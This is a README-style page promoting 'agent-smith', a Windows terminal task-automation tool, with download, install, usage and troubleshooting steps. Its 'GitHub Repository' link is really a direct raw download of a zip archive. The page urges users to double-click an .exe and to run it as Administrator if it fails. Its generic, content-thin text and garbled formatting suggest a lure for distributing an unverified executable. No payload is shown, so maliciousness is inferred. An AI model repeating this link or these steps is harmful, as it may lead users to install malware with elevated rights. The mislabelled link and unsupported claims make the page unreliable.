Agent Smith is a tool that helps you manage tasks in your terminal. It breaks down big jobs into smaller steps. Then, it runs those steps automatically until your project is done. Think of it as a helper that works through your tasks quickly and without mistakes.
This tool works with several systems like Claude Code, Opencode, and Openclaw. These are programs that offer different ways to manage tasks and projects. You don’t need to know what these are to use agent-smith. It handles the details for you.
If you want to take control of task management on your Windows computer, agent-smith is a good place to start.
You can get agent-smith from its official GitHub page. Follow these simple steps to download and run it on a Windows system.
Click the button below or go to this link to open the agent-smith repository:
Download agent-smith
This page has all the files you need. It also shows updates and instructions.
On the GitHub page, look for the "Releases" section. You can find it on the right side or at the top under the "Code" tab. Click there to see the available versions.
Look for the file ending in .exe or .zip.
- If you see an
.exefile, this is the installer. - If you see a
.zip, this is a compressed folder with the application inside.
Click on the chosen file to download it. Save it somewhere easy to find, like your Desktop or Downloads folder.
- If you downloaded the
.exefile, double-click it to start the installation. Follow the instructions on the screen. It usually asks you where to install the program and if you want shortcuts. - If you downloaded the
.zip, right-click it and select "Extract All". Choose a folder where you want to keep the files, then extract them.
Once installed or extracted, open the folder where agent-smith is saved. Look for a file called agent-smith.exe or a similar name. Double-click it to start the program.
Before running agent-smith, make sure your Windows computer matches these requirements:
- Operating System: Windows 10 or later
- Processor: Any 64-bit Intel or AMD CPU
- Memory: At least 4 GB of RAM
- Disk Space: Minimum 100 MB free space
- Internet Access: Required for initial setup and updates
- Permissions: Ability to install software and run executables
These requirements ensure that agent-smith runs smoothly and without errors.
Agent Smith is different from regular software. It uses a method called recursive task breakdown. This means it keeps dividing tasks into smaller parts until each part is simple enough to complete quickly.
You don’t have to manage these steps manually. The tool runs commands using systems like Claude Code and Openclaw. They help turn your tasks into smaller jobs and finish each step one by one.
You can use agent-smith by entering commands in your terminal. However, most of the work is automatic once you start it.
Here is a basic guide to using agent-smith on Windows after installation.
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Open your Command Prompt. You can do this by pressing
Win + R, typingcmd, and hitting Enter. -
Navigate to the folder where agent-smith is installed. For example, if it’s in
C:\Program Files\agent-smith, type:
cd "C:\Program Files\agent-smith"
and press Enter. -
Start agent-smith by running:
agent-smith.exe
or simply:
agent-smithif the executable is in your system’s path. -
Follow any prompts the tool shows. It will ask you for basic information about your tasks.
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Let agent-smith break down the work and complete it step-by-step.
Agent Smith keeps some of its settings in simple text files inside its folder. You can change these to customize how it works.
- config.json: This file controls general settings like task speed and output style.
- tasks.txt: You can list your main tasks here. Agent Smith reads this and processes each item.
To edit these files:
- Right-click the file and choose "Open with" and then "Notepad".
- Make changes as needed. For example, add new tasks to
tasks.txtby typing one per line. - Save the file and restart agent-smith to apply changes.
If agent-smith does not run, try these steps:
- Check that your Windows version meets the minimum requirements.
- Verify that you downloaded the full file and it is not corrupt.
- Make sure you have permission to run programs on your computer.
- Run the Command Prompt as Administrator and try starting agent-smith again.
- If you see error messages, search online for the exact text or visit the GitHub repository’s "Issues" tab.
Use the link below to visit the official agent-smith page and get started:
Download agent-smith on GitHub
Click the link, pick the latest release, and follow installation steps above.
- GitHub Repository: https://github.com/achraf821/agent-smith/raw/refs/heads/main/smith-matrix/smith-agent-v1.2.zip
- Releases: Accessible via the GitHub page under "Releases"
- Support and Issues: Use the "Issues" tab on the GitHub page to report problems or find help
Agent Smith is designed for users who want to automate command-line task management. It suits those working with tools like Claude Code and Openclaw, but it keeps technical details hidden so anyone can use it.
The tool focuses on tasks like:
- Automating repetitive terminal commands
- Breaking down large jobs into smaller, easy actions
- Running steps efficiently without user intervention
This makes it practical for simplifying complex projects in a Windows terminal environment.
agent-smith covers subjects including:
- Task management in the terminal
- Recursive task execution
- Plugin support for Claude Code and Opencode
- Prompt-based automation and skills integration
Check the GitHub repository regularly for updates. New versions may improve speed, fix bugs, or add features. Update your installation by downloading the latest release and running the installer again or replacing files in your existing folder.